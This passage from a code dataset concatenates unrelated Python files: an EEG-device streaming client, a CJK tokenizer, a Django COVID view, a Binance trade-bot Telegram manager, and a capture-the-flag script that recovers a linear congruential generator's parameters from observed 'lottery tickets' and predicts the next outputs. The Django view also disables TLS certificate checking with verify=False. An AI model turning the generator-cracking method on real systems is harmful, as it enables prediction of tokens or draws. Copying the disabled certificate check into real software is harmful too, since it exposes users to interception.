plan.wait_for_completed_deployment(PACKAGE_NAME)\n","sub_path":"frameworks/helloworld/tests/test_overlay_ports.py","file_name":"test_overlay_ports.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"83399449","text":"from setuptools import setup, find_packages\n\nversion = '1.2.8'\n\nsetup(name='simMachines',\n packages = find_packages(exclude=['example*']),\n install_requires=['requests','numpy','pandas'],\n version=version,\n description=\"A library to use simMachines, Inc. API\",\n python_requires='>=3',\n author = 'Rick Palmer',\n author_email = 'rickpalmer@simmachines.com'\n )","sub_path":"pypi_install_script/simMachines-1.2.8.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"639434474","text":"import os, sys\nfrom threading import Thread\nfrom Queue import Queue\n# import numpy as np\nimport time\nimport socket\nimport argparse\nimport subprocess\nimport re\n\nfrom pylsl import StreamInfo, StreamOutlet\nfrom scipy import signal\nfrom OSC import OSCClient, OSCMessage, OSCBundle\n\n# TCP_ACTION_START = 'start'\n# TCP_ACTION_STATUS = 'status'\n# TCP_ACTION_STOP = 'stop'\n# TCP_CMD_ACCELEROMETER = 'a'\n# TCP_CMD_CONNECT = 'c'\n# TCP_CMD_COMMAND = 'k'\n# TCP_CMD_DATA = 't'\n# TCP_CMD_DISCONNECT = 'd'\n# TCP_CMD_ERROR = 'e'\n# TCP_CMD_IMPEDANCE = 'i'\n# TCP_CMD_LOG = 'l'\n# TCP_CMD_SCAN = 's'\n# TCP_CMD_STATUS = 'q'\nTCP_STOP = ',;\\n'\nTCP_CODE_LENGTH = 3\n\n# kTcpCodeBadPacketData = 500\n# kTcpCodeBadBLEStartUp = 501\n# kTcpCodeSuccess = 200\n# kTcpCodeSuccessGanglionFound = 201\n# kTcpCodeSuccessAccelData = 202\n# kTcpCodeSuccessSampleData = 204\n# kTcpCodeSuccessImpedanceData = 203\n# kTcpCodeStatusConnected = 300\n# kTcpCodeStatusDisconnected = 301\n# kTcpCodeStatusScanning = 302\n# kTcpCodeStatusNotScanning = 303\n# kTcpCodeErrorUnknown = 499\n# kTcpCodeErrorAlreadyConnected = 408\n# kTcpCodeErrorAccelerometerCouldNotStart = 416\n# kTcpCodeErrorAccelerometerCouldNotStop = 417\n# kTcpCodeErrorCommandNotAbleToBeSent = 406\n# kTcpCodeErrorDeviceNotFound = 405\n# kTcpCodeErrorImpedanceCouldNotStart = 414\n# kTcpCodeErrorImpedanceCouldNotStop = 415\n# kTcpCodeErrorNoOpenBleDevice = 400\n# kTcpCodeErrorUnableToConnect = 402\n# kTcpCodeErrorUnableToConnectTimeout = 413\n# kTcpCodeErrorUnableToDisconnect = 401\n# kTcpCodeErrorScanAlreadyScanning = 409\n# kTcpCodeErrorScanNoneFound = 407\n# kTcpCodeErrorScanNoScanToStop = 410\n# kTcpCodeErrorScanCouldNotStart = 412\n# kTcpCodeErrorScanCouldNotStop = 411\n\nobciGanglionMCP3912Gain = 1.0 #assumed gain setting for MCP3912. NEEDS TO BE ADJUSTABLE JM\nobciGanglionMCP3912Vref = 1.2 #reference voltage for ADC in MCP3912 set in hardware\nobciGanglionScaleFactorPerCountVolts = obciGanglionMCP3912Vref / (8388607.0 * obciGanglionMCP3912Gain * 1.5 * 51.0)\nobciGanglionAccelScaleFactor = 0.016\n\nclass Ganglion_hub:\n def __init__(self, \n executable,\n address=\"127.0.0.1\", port=10996, verbose=False):\n self.verbose = verbose\n self.isStreaming = False\n self._ganglion_hub = subprocess.Popen(executable, shell=False)\n print(\"client: waiting for the app\")\n time.sleep(2)\n self._socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)\n self._socket.connect( (address, port) )\n \n ret,code = self.recv().strip(TCP_STOP).split(',')\n # assert ret == 'q' and code == '200', \"server is not ready.\"\n\n print(\"client: ready\")\n\n def send(self, cmd, echo_len=0):\n cmd += TCP_STOP\n # self._socket.send(bytes(cmd, 'utf-8')) # python3\n self._socket.send(cmd) # python2\n if echo_len>0:\n return(self.recv(echo_len))\n\n def recv(self, tcpbuffer=4096):\n ret_byte = self._socket.recv(tcpbuffer)\n # ret = ret_byte.decode('utf-8')\n ret = ret_byte\n return(ret)\n\n def scan(self):\n localnames = []\n cmd = 's,start'\n self.send(cmd, echo_len=len(cmd) + TCP_CODE_LENGTH + len(TCP_STOP) + 1)\n \n scan_result = re.search(r'(Ganglion-[a-z0-9]{4}),', self.recv())\n if scan_result != None:\n localnames = scan_result.groups()\n \n return(localnames)\n\n def connect(self, localname):\n ret,code = self.send('c,' + localname, 1 + TCP_CODE_LENGTH + len(TCP_STOP) + 1).strip(TCP_STOP).split(',')\n # assert ret == 'c' and code == '200', \"connection failed (ret: %s, code: %s).\" % (ret, code)\n return(code)\n\n def disconnect(self):\n self.send('d,start', 1 + TCP_CODE_LENGTH + len(TCP_STOP) + 1).strip(TCP_STOP).split(',')\n return(self.recv())\n \n def command(self, cmd):\n self.send('k,'+cmd, 1 + TCP_CODE_LENGTH + len(TCP_STOP) + 1)\n if not self.isStreaming and cmd == 'b':\n self.isStreaming = True\n print('client: ganglion should have started.')\n elif cmd=='s':\n self.recv(10240)\n self.isStreaming = False\n print('client: ganglion should have stopped. (recv buffer is cleaned.)')\n \ndef input_thread(cmd_q): \n while True:\n cmd = raw_input() # python2\n # cmd = input() #python3\n # print(i)\n for k in cmd:\n if k in ('q','g','a',\n '1','2','3','4','[',']','!','@','#','$','b','s','n','N'):\n cmd_q.put(k)\n if k == 'q':\n break\n\ndef vis(val,min_val,max_val,length,grid='_',point='+'):\n if val >= max_val:\n return(grid*(length-1) + point)\n elif val <= min_val:\n return(point + grid*(length-1))\n else:\n pos = int(round((float(val) - min_val) / (max_val - min_val) * length))\n head = grid*(pos-1)+point\n tail = grid*(length-len(head))\n return(head+tail)\n\ndef socket_loop():\n global showAux\n global showSample\n global f\n prevSampleIndex = 0\n #bleErrorCounter = 0\n numPacketsDropped = 0\n sampleCounter = 0\n raw = ''\n\n while True:\n ## send \n try:\n k = cmd_q.get_nowait()\n except:\n k = ''\n finally:\n if k == 'q':\n break\n elif k == 'g':\n showSample = not showSample\n showAux = False\n elif k == 'a':\n showAux = not showAux\n showSample = False\n elif k in ('1','2','3','4','[',']','!','@','#','$','b','s','n','N'):\n hub.command(k)\n \n ## receive stream\n if not hub.isStreaming:\n continue\n\n raw += hub.recv()\n raw_list = raw.split(TCP_STOP)\n raw = raw_list.pop()\n\n timeStamp = time.time()\n for raw_line in raw_list:\n\n if raw_line[:2] not in ('a,','t,'):\n continue\n\n # save to local file\n f.write('%s,%f\\n' % (raw_line,timeStamp)) \n line = raw_line.split(',')\n\n # send to osc server\n if args.osc_server != '':\n pass\n\n if line[0] == 't':\n sampleData = list(map(int, line[2:]))\n sampleIndex = sampleData[0]\n sampleCounter += 1 \n if sampleIndex - prevSampleIndex != 1:\n # if sampleIndex!=0:\n # #bleErrorCounter += 1\n if sampleIndex < prevSampleIndex:\n numPacketsDropped = sampleIndex + 201 - prevSampleIndex\n else:\n numPacketsDropped = sampleIndex - prevSampleIndex\n print(\"client: numPacketsDropped: %g\" % numPacketsDropped)\n \n prevSampleIndex = sampleIndex\n\n osc_q.put(sampleData)\n smpl_q.put((sampleData, timeStamp))\n\n elif line[0] == 'a':\n auxData = list(map(int, line[2:]))\n aux_q.put((auxData, timeStamp))\n\ndef lsl_loop_sample(smpl_q):\n global source_id\n global showSample\n global showAux\n global obciGanglionScaleFactorPerCountVolts\n\n ecg_info = StreamInfo(\n name = 'Ganglion ECG',\n type='ECG', \n channel_count=3, \n nominal_srate=200, \n channel_format='float32', \n source_id = source_id)\n\n ecg_outlet = StreamOutlet(ecg_info)\n\n ppg_info = StreamInfo(\n name = 'Ganglion PPG',\n type='PPG', \n channel_count=3, \n nominal_srate=200, \n channel_format='int16', \n source_id = source_id)\n\n ppg_outlet = StreamOutlet(ppg_info)\n\n while True:\n sample, timeStamp = smpl_q.get()\n\n ecg_sample = tuple(map(lambda x: x * obciGanglionScaleFactorPerCountVolts, sample[0:3]))\n ecg_outlet.push_sample(ecg_sample, timeStamp)\n\n ppg_sample = tuple(map(lambda x: int(x / 2000 + 512), [sample[0]]+sample[3:5] ))\n ppg_outlet.push_sample(ppg_sample, timeStamp)\n\n if showSample and not showAux and sample[0] % 10 == 0: \n\n status_str = \"client: (q/quit, g/visual) - %3s #1:%s #2:%s #3:%s #4:%s\" % (sample[0], \n vis(ecg_sample[1],-.001,.001, 25),\n vis(ecg_sample[2],-.001,.001, 25),\n vis(ppg_sample[1],400,624, 25),\n vis(ppg_sample[2],400,624, 25)\n )\n print(status_str)\n\n\ndef lsl_loop_auxdata(aux_q):\n global source_id\n global showAux\n global showSample\n global obciGanglionAccelScaleFactor\n\n acc_info = StreamInfo(\n name = 'Ganglion Accelerometer',\n type='ACC', \n channel_count=3, \n nominal_srate=10, \n channel_format='float32', \n source_id = source_id)\n\n acc_outlet = StreamOutlet(acc_info)\n\n while True:\n auxdata, timeStamp = aux_q.get()\n\n acc_sample = tuple(map(lambda x: x * obciGanglionAccelScaleFactor, auxdata))\n acc_outlet.push_sample(acc_sample, timeStamp)\n\n if (not showSample) and showAux: \n\n status_str = \"client: (q/quit, g/visual) - x:%s y:%s z:%s\" % tuple(\n map(lambda x:vis(x, -1, 1, 25), acc_sample)\n )\n print(status_str)\n\ndef osc_loop(server, device_id, osc_q):\n b2 = (0.956543225556876, 1.18293615779028, 2.27881429174347, 1.18293615779028, 0.956543225556876 )\n a2 = (1, 1.20922304075909, 2.27692490805579, 1.15664927482146, 0.914975834801432 )\n\n while 1:\n try: \n client = OSCClient()\n client.connect( (server, 5005) )\n print('OSC server (%s:%g) initialized, sending to /%s.' % (server, 5005, device_id))\n\n while 1:\n # collecting some samples\n sample_buffer = list()\n bundle = OSCBundle(time = .5)\n for i in range(100):\n sample = osc_q.get()\n msg = OSCMessage('/{}'.format(device_id) ) \n msg.append(sample[0])\n msg.extend(map(lambda x: x * obciGanglionScaleFactorPerCountVolts, sample[1:5]))\n bundle.append(msg)\n\n # sample_buffer = list()\n # for i in range(603):\n # sample_buffer.append(osc_q.get())\n\n # # apply notch filter (60Hz)\n # sample_buffer_filtered = list()\n # for j, channel in enumerate(zip(*sample_buffer)):\n # if j == 0:\n # sample_buffer_filtered.append(channel)\n # else:\n # new_channel = signal.lfilter(b2, a2, channel)\n # sample_buffer_filtered.append(new_channel)\n\n # # sent filtered samples\n # bundle = OSCBundle()\n # for i, sample in enumerate(zip(*sample_buffer_filtered)):\n # msg = OSCMessage('/{}'.format(device_id) ) \n # msg.append(sample[0])\n # msg.extend(map(lambda x: x * obciGanglionScaleFactorPerCountVolts, sample[1:5]))\n # bundle.append(msg)\n \n # if (i + 1) % 10 == 0:\n # client.send( bundle )\n # bundle = OSCBundle()\n\n client.send( bundle )\n\n \n except Exception as e:\n print(e)\n time.sleep(1)\n\nif __name__ == '__main__':\n\n # parse arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('-d','--device', help='local name of a Ganglion device')\n parser.add_argument('-a','--app_path', default='../openbci/GanglionHub.app/Contents/MacOS/GanglionHub', help='path to the executable of Ganglion_hub')\n parser.add_argument('-i','--init_command', default='34n', help='initial commands sent to Ganglion')\n parser.add_argument('-s','--subject_id', default='test_usr', help='subject identifier')\n parser.add_argument('-b','--backup_path', default='../local_data', help='path to a local backup directory')\n parser.add_argument('-o','--osc_server', default='Wangs-iPad', help='additional osc server')\n args = parser.parse_args()\n\n # initialize hub to ganglion\n hub = Ganglion_hub(args.app_path)\n \n # discover ganglion\n localnames = hub.scan()\n\n if len(localnames) > 0:\n if args.device in localnames:\n localname = args.device\n else:\n localname = localnames[0] \n print('client: cannot find the supplied device, connect to %s' % localname)\n \n if hub.connect(localname) == '200':\n device_id = localname.split('-')[1]\n source_id = '%s-%s' % (args.subject_id, device_id)\n showSample = False\n showAux = False\n\n # initialize cmd daemon thread\n cmd_q = Queue()\n cmd_daemon = Thread(target=input_thread, name='cmd_daemon', args = (cmd_q,))\n cmd_daemon.daemon = True\n cmd_daemon.start()\n\n # initialize lsl daemon threads\n smpl_q = Queue()\n aux_q = Queue()\n lsl_daemon_sample = Thread(target=lsl_loop_sample, name='lsl_daemon_sample', args=(smpl_q, ))\n lsl_daemon_auxdata = Thread(target=lsl_loop_auxdata, name='lsl_daemon_auxdata', args=(aux_q, ))\n lsl_daemon_sample.daemon = True\n lsl_daemon_auxdata.daemon = True\n lsl_daemon_sample.start()\n lsl_daemon_auxdata.start()\n\n # initialize osc daemon thread\n try:\n osc_q = Queue()\n osc_daemon = Thread(target=osc_loop, name='osc_daemon', args=(socket.gethostbyname(args.osc_server), device_id, osc_q ))\n osc_daemon.daemon = True\n osc_daemon.start()\n except Exception as e:\n print('OSC: {}'.format(e))\n\n # put initial commands\n for k in args.init_command:\n cmd_q.put(k)\n\n cmd_q.put('b') # send 'begin' to ganglion.\n\n try:\n with file('%s/%s-%s' % (\n args.backup_path.strip('/'), \n source_id, \n time.strftime('%Y_%m_%d_%H_%M_%S',time.localtime())\n ), 'w') as f:\n\n # start the main loop\n socket_loop()\n\n except Exception as e:\n print(e)\n else:\n print('client: connection failed.')\n else:\n print('client: no ganglion is found.')\n\n hub.disconnect()\n hub._socket.close()\n hub._ganglion_hub.kill()\n hub._ganglion_hub.wait()\n\n print('client: exit.')\n\n","sub_path":"src/unused/ganglionhub_client.py","file_name":"ganglionhub_client.py","file_ext":"py","file_size_in_byte":13121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"269877697","text":"from functools import *\r\nfrom Crypto.Util.number import *\r\nfrom math import gcd\r\n\r\n\r\ndef lcg(m, a, c, x):\r\n\treturn (a*x + c) % m\r\n\r\ndef crack_unknown_increment(states, modulus, multiplier):\r\n\tincrement = (states[1] - states[0]*multiplier) % modulus\r\n\treturn modulus, multiplier, increment\r\n\r\ndef crack_unknown_multiplier(states, modulus):\r\n\tmultiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus\r\n\treturn crack_unknown_increment(states, modulus, multiplier)\r\n\r\n\r\ndef crack_unknown_modulus(states):\r\n diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]\r\n zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]\r\n modulus = abs(reduce(gcd, zeroes))\r\n return crack_unknown_multiplier(states, modulus)\r\n\r\nticket1 = [62703, 49426, 15808, 27261]\r\nticket2 = [15883, 28680, 40109, 17791]\r\n\r\nl = ticket1 + ticket2\r\nm, a, b = crack_unknown_modulus(l)\r\n\r\nx = l[7]\r\nfor _ in range(4):\r\n x = (a * x + b) % m\r\n print(x)\r\n","sub_path":"categories/quest/quest-2-cry-lottery/solution/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"358094576","text":"import re\n\nclass Tokenizer(object):\n\n def __init__(self, split_chars=' '):\n self.split_chars = split_chars\n\n def texts_to_words(self, texts):\n if not texts:\n return []\n return [word.strip() for word in texts.split(self.split_chars) if word]\n\n def words_to_texts(self, words):\n if not words:\n return ''\n to_join = [word.strip() for word in words if word]\n return self.split_chars.join(to_join)\n\n def words_from_current_pos(self, words, current_pos):\n if not words:\n return ''\n return self.split_chars.join(words[current_pos:])\n\n def compare(self, value1, value2):\n return value1 == value2\n\n\nclass CjkTokenizer(Tokenizer):\n\n def __init__(self, split_chars=' '):\n Tokenizer.__init__(self, split_chars)\n\n @staticmethod\n def _is_chinese_word(word):\n if word is None:\n return False\n else:\n for ch in word:\n if CjkTokenizer._is_chinese_char(ch):\n return True\n return False\n\n @staticmethod\n def _is_chinese_char(c):\n r = [\n # 标准CJK文字\n (0x3400, 0x4DB5), (0x4E00, 0x9FA5), (0x9FA6, 0x9FBB), (0xF900, 0xFA2D),\n (0xFA30, 0xFA6A), (0xFA70, 0xFAD9), (0x20000, 0x2A6D6), (0x2F800, 0x2FA1D),\n # 全角ASCII、全角中英文标点、半宽片假名、半宽平假名、半宽韩文字母\n (0xFF00, 0xFFEF),\n # CJK部首补充\n (0x2E80, 0x2EFF),\n # CJK标点符号\n (0x3000, 0x303F),\n # CJK笔划\n (0x31C0, 0x31EF)]\n return any(s <= ord(c) <= e for s, e in r)\n\n def _is_wildchar(self, ch):\n MATCH_CHARS = ['^', '#', '', '*']\n return bool(ch in MATCH_CHARS)\n\n def texts_to_words(self, texts):\n if not texts:\n return []\n\n words = []\n last_word = ''\n for ch in texts:\n if CjkTokenizer._is_chinese_char(ch):\n if len(last_word) > 0:\n words.append(last_word)\n last_word = ''\n words.append(ch)\n else:\n if self._is_wildchar(ch):\n if len(last_word) > 0:\n words.append(last_word)\n last_word = ''\n words.append(ch)\n elif ch == self.split_chars:\n if len(last_word) > 0:\n words.append(last_word)\n last_word = ''\n else:\n last_word += ch\n\n if len(last_word) > 0:\n words.append(last_word)\n\n return words\n \n def words_to_texts(self, words):\n texts = ''\n if words is None:\n words = ''\n for word in words:\n if CjkTokenizer._is_chinese_word(word):\n texts += word\n elif len(texts) > 0:\n texts += ' ' + word\n elif word is None:\n pass\n else:\n texts += word\n\n texts = re.sub(r'\\s+', ' ', texts)\n stripped_text = texts.strip()\n return stripped_text\n\n def words_from_current_pos(self, words, current_pos):\n if words:\n return self.words_to_texts(words[current_pos:])\n raise Exception(\"Num word array violation !\")\n\n def compare(self, value1, value2):\n cjk_value1 = self.words_to_texts(self.texts_to_words(value1.upper()))\n cjk_value2 = self.words_to_texts(self.texts_to_words(value2.upper()))\n return cjk_value1 == cjk_value2\n\n @staticmethod\n def test():\n inputs = [\n '你好!',\n 'X你好X',\n 'Hello你WorldOK的',\n '200万元',\n '#你好OK#',\n '*HELLO*',\n '*HELLO你好*',\n 'HELLO*你好*',\n 'HELLO*你好*NICE OK',\n ]\n outputs = [\n ['你', '好', '!'],\n ['X', '你', '好', 'X'],\n ['Hello', '你', 'WorldOK', '的'],\n ['200', '万', '元'],\n ['#', '你', '好', 'OK', '#'],\n ['*', 'HELLO', '*'],\n ['*', 'HELLO', '你', '好', '*'],\n ['HELLO', '*', '你', '好', '*'],\n ['HELLO', '*', '你', '好', '*', 'NICE', 'OK'],\n ]\n token = CjkTokenizer()\n assert (len(inputs) == len(outputs))\n cases = len(inputs)\n for c in range(cases):\n input = inputs[c]\n output = outputs[c]\n result = token.texts_to_words(input)\n if result == output:\n print(\" %-15s => %s \" % (input, output))\n else:\n print(\" %-15s => %s \" % (input, output))\n\n\nif __name__ == '__main__':\n CjkTokenizer.test()\n","sub_path":"src/programy/parser/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"520577356","text":"\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import response\nfrom django.shortcuts import render\nimport requests\n\n# Create your views here.\n@login_required(login_url='/login/')\ndef covid(request):\n url = 'https://api.covid19api.com/summary'\n response = requests.get(url,verify=False)\n result = response.json()\n global_data = result['Global']\n countries_data = result['Countries']\n \n\n context = {\n 'global_data' : global_data,\n 'countries_data' : countries_data\n }\n\n return render(request,'covid.html',context)","sub_path":"covid_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"588987328","text":"# -*- coding: utf-8 -*-\r\nimport os\r\n\r\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\r\nimport argparse\r\nimport logging\r\nimport sched\r\nimport sqlite3\r\nimport subprocess\r\nimport time\r\nfrom configparser import ConfigParser\r\nfrom datetime import datetime\r\nfrom shutil import copyfile\r\n\r\nimport psutil\r\nimport yaml\r\nfrom telegram import Bot, ReplyKeyboardMarkup, ReplyKeyboardRemove, Update\r\nfrom telegram.ext import (\r\n CallbackContext,\r\n CommandHandler,\r\n ConversationHandler,\r\n Filters,\r\n MessageHandler,\r\n Updater,\r\n)\r\n\r\nMENU, EDIT_COIN_LIST, EDIT_USER_CONFIG, DELETE_DB, UPDATE_TG, UPDATE_BTB = range(6)\r\n\r\n\r\nclass BTBManagerTelegram:\r\n def __init__(self, root_path=None, token=None, user_id=None):\r\n logging.basicConfig(\r\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\r\n level=logging.INFO,\r\n )\r\n self.logger = logging.getLogger(\"btb_manager_telegram_logger\")\r\n\r\n if root_path is None:\r\n self.logger.info(\"No root_path was specified.\\nAborting.\")\r\n exit(-1)\r\n else:\r\n self.root_path = root_path if root_path[-1] == \"/\" else (root_path + \"/\")\r\n\r\n if token is None or user_id is None:\r\n self.logger.info(\r\n \"Retrieving Telegram token and user_id from apprise.yml file.\"\r\n )\r\n self.token, self.user_id = self.__get_token_from_yaml()\r\n self.logger.info(\r\n f\"Successfully retrieved Telegram configuration. The bot will only respond to user with user_id {self.user_id}\"\r\n )\r\n else:\r\n self.token = token\r\n self.user_id = user_id\r\n\r\n self.bot = Bot(self.token)\r\n\r\n updater = Updater(self.token)\r\n dispatcher = updater.dispatcher\r\n\r\n conv_handler = ConversationHandler(\r\n entry_points=[\r\n CommandHandler(\r\n \"start\", self.__start, Filters.user(user_id=eval(self.user_id))\r\n )\r\n ],\r\n states={\r\n MENU: [\r\n MessageHandler(\r\n Filters.regex(\r\n \"^(Begin|💵 Current value|📈 Progress|➗ Current ratios|🔍 Check bot status|⌛ Trade History|🛠 Maintenance|⚙️ Configurations|▶ Start trade bot|⏹ Stop trade bot|📜 Read last log lines|❌ Delete database|⚙ Edit user.cfg|👛 Edit coin list|📤 Export database|Update Telegram Bot|Update Binance Trade Bot|⬅️ Back|Go back|OK|Cancel update|OK 👌)$\"\r\n ),\r\n self.__menu,\r\n )\r\n ],\r\n EDIT_COIN_LIST: [\r\n MessageHandler(Filters.regex(\"(.*?)\"), self.__edit_coin)\r\n ],\r\n EDIT_USER_CONFIG: [\r\n MessageHandler(Filters.regex(\"(.*?)\"), self.__edit_user_config)\r\n ],\r\n DELETE_DB: [\r\n MessageHandler(\r\n Filters.regex(\"^(⚠ Confirm|Go back)$\"), self.__delete_db\r\n )\r\n ],\r\n UPDATE_TG: [\r\n MessageHandler(\r\n Filters.regex(\"^(Update|Cancel update)$\"), self.__update_tg_bot\r\n )\r\n ],\r\n UPDATE_BTB: [\r\n MessageHandler(\r\n Filters.regex(\"^(Update|Cancel update)$\"), self.__update_btb\r\n )\r\n ],\r\n },\r\n fallbacks=[CommandHandler(\"cancel\", self.__cancel)],\r\n per_user=True,\r\n )\r\n\r\n dispatcher.add_handler(conv_handler)\r\n updater.start_polling()\r\n\r\n # Update checker setup\r\n self.tg_update_broadcasted_before = False\r\n self.btb_update_broadcasted_before = False\r\n self.scheduler = sched.scheduler(time.time, time.sleep)\r\n self.scheduler.enter(1, 1, self.__update_checker)\r\n time.sleep(1) # needed to prevent thrash\r\n self.scheduler.run(blocking=False)\r\n\r\n updater.idle()\r\n\r\n def __get_token_from_yaml(self):\r\n telegram_url = None\r\n yaml_file_path = f\"{self.root_path}config/apprise.yml\"\r\n with open(yaml_file_path) as f:\r\n parsed_urls = yaml.load(f, Loader=yaml.FullLoader)[\"urls\"]\r\n for url in parsed_urls:\r\n if url.startswith(\"tgram\"):\r\n telegram_url = url.split(\"//\")[1]\r\n if not telegram_url:\r\n self.logger.error(\r\n \"ERROR: No telegram configuration was found in your apprise.yml file.\\nAborting.\"\r\n )\r\n exit(-1)\r\n try:\r\n tok = telegram_url.split(\"/\")[0]\r\n uid = telegram_url.split(\"/\")[1]\r\n except:\r\n self.logger.error(\r\n \"ERROR: No user_id has been set in the yaml configuration, anyone would be able to control your bot.\\nAborting.\"\r\n )\r\n exit(-1)\r\n return tok, uid\r\n\r\n def __update_checker(self):\r\n self.logger.info(\"Checking for updates.\")\r\n\r\n if not self.tg_update_broadcasted_before:\r\n if self.is_tg_bot_update_available():\r\n self.logger.info(\"BTB Manager Telegram update found.\")\r\n\r\n message = \"⚠ An update for _BTB Manager Telegram_ is available\\.\\n\\nPlease update by going to *🛠 Maintenance* and pressing the *Update Telegram Bot* button\\.\"\r\n self.tg_update_broadcasted_before = True\r\n self.bot.send_message(self.user_id, message, parse_mode=\"MarkdownV2\")\r\n self.scheduler.enter(\r\n 60 * 60 * 12,\r\n 1,\r\n self.__update_reminder,\r\n (\"_*Reminder*_:\\n\\n\" + message,),\r\n )\r\n\r\n if not self.btb_update_broadcasted_before:\r\n if self.is_btb_bot_update_available():\r\n self.logger.info(\"Binance Trade Bot update found.\")\r\n\r\n message = \"⚠ An update for _Binance Trade Bot_ is available\\.\\n\\nPlease update by going to *🛠 Maintenance* and pressing the *Update Binance Trade Bot* button\\.\"\r\n self.btb_update_broadcasted_before = True\r\n self.bot.send_message(self.user_id, message, parse_mode=\"MarkdownV2\")\r\n self.scheduler.enter(\r\n 60 * 60 * 12,\r\n 1,\r\n self.__update_reminder,\r\n (\"_*Reminder*_:\\n\\n\" + message,),\r\n )\r\n\r\n if (\r\n self.tg_update_broadcasted_before is False\r\n or self.btb_update_broadcasted_before is False\r\n ):\r\n self.scheduler.enter(\r\n 60 * 60,\r\n 1,\r\n self.__update_checker,\r\n )\r\n\r\n def __update_reminder(self, message):\r\n self.logger.info(f\"Reminding user: {message}\")\r\n\r\n self.bot.send_message(self.user_id, message, parse_mode=\"MarkdownV2\")\r\n self.scheduler.enter(\r\n 60 * 60 * 12,\r\n 1,\r\n self.__update_reminder,\r\n )\r\n\r\n def is_tg_bot_update_available(self):\r\n try:\r\n p = subprocess.Popen(\r\n [\"bash\", \"-c\", \"git remote update && git status -uno\"],\r\n stdout=subprocess.PIPE,\r\n )\r\n output, _ = p.communicate()\r\n re = \"Your branch is behind\" in str(output)\r\n except:\r\n re = None\r\n return re\r\n\r\n def is_btb_bot_update_available(self):\r\n try:\r\n p = subprocess.Popen(\r\n [\r\n \"bash\",\r\n \"-c\",\r\n \"cd ../binance-trade-bot && git remote update && git status -uno\",\r\n ],\r\n stdout=subprocess.PIPE,\r\n )\r\n output, _ = p.communicate()\r\n re = \"Your branch is behind\" in str(output)\r\n except:\r\n re = None\r\n return re\r\n\r\n def __start(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(\"Started conversation.\")\r\n\r\n keyboard = [[\"Begin\"]]\r\n message = f\"Hi *{update.message.from_user.first_name}*\\!\\nWelcome to _Binace Trade Bot Manager Telegram_\\.\\n\\nThis Telegram bot was developed by @lorcalhost\\.\\nFind out more about the project [here](https://github.com/lorcalhost/BTB-manager-telegram)\\.\\n\\nIf you like the bot please [consider supporting the project 🍻](https://www.buymeacoffee.com/lorcalhost)\\.\"\r\n reply_markup = ReplyKeyboardMarkup(\r\n keyboard, one_time_keyboard=True, resize_keyboard=True\r\n )\r\n update.message.reply_text(\r\n message,\r\n reply_markup=reply_markup,\r\n parse_mode=\"MarkdownV2\",\r\n disable_web_page_preview=True,\r\n )\r\n return MENU\r\n\r\n def __menu(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(f\"Menu selector. ({update.message.text})\")\r\n\r\n keyboard = [\r\n [\"💵 Current value\"],\r\n [\"📈 Progress\", \"➗ Current ratios\"],\r\n [\"🔍 Check bot status\", \"⌛ Trade History\"],\r\n [\"🛠 Maintenance\", \"⚙️ Configurations\"],\r\n ]\r\n\r\n config_keyboard = [\r\n [\"▶ Start trade bot\", \"⏹ Stop trade bot\"],\r\n [\"📜 Read last log lines\", \"❌ Delete database\"],\r\n [\"⚙ Edit user.cfg\", \"👛 Edit coin list\"],\r\n [\"📤 Export database\", \"⬅️ Back\"],\r\n ]\r\n\r\n maintenance_keyboard = [\r\n [\"Update Telegram Bot\"],\r\n [\"Update Binance Trade Bot\"],\r\n [\"⬅️ Back\"],\r\n ]\r\n\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n\r\n reply_markup_config = ReplyKeyboardMarkup(config_keyboard, resize_keyboard=True)\r\n\r\n reply_markup_maintenance = ReplyKeyboardMarkup(\r\n maintenance_keyboard, resize_keyboard=True\r\n )\r\n\r\n if update.message.text in [\"Begin\", \"⬅️ Back\"]:\r\n message = \"Please select one of the options.\"\r\n update.message.reply_text(message, reply_markup=reply_markup)\r\n\r\n elif update.message.text in [\"Go back\", \"OK\", \"⚙️ Configurations\"]:\r\n message = \"Please select one of the options.\"\r\n update.message.reply_text(message, reply_markup=reply_markup_config)\r\n\r\n elif update.message.text in [\"🛠 Maintenance\", \"Cancel update\", \"OK 👌\"]:\r\n message = \"Please select one of the options.\"\r\n update.message.reply_text(message, reply_markup=reply_markup_maintenance)\r\n\r\n elif update.message.text == \"💵 Current value\":\r\n for m in self.__btn_current_value():\r\n update.message.reply_text(\r\n m, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"📈 Progress\":\r\n for m in self.__btn_check_progress():\r\n update.message.reply_text(\r\n m, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"➗ Current ratios\":\r\n for m in self.__btn_current_ratios():\r\n update.message.reply_text(\r\n m, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"🔍 Check bot status\":\r\n update.message.reply_text(\r\n self.__btn_check_status(), reply_markup=reply_markup\r\n )\r\n\r\n elif update.message.text == \"⌛ Trade History\":\r\n for m in self.__btn_trade_history():\r\n 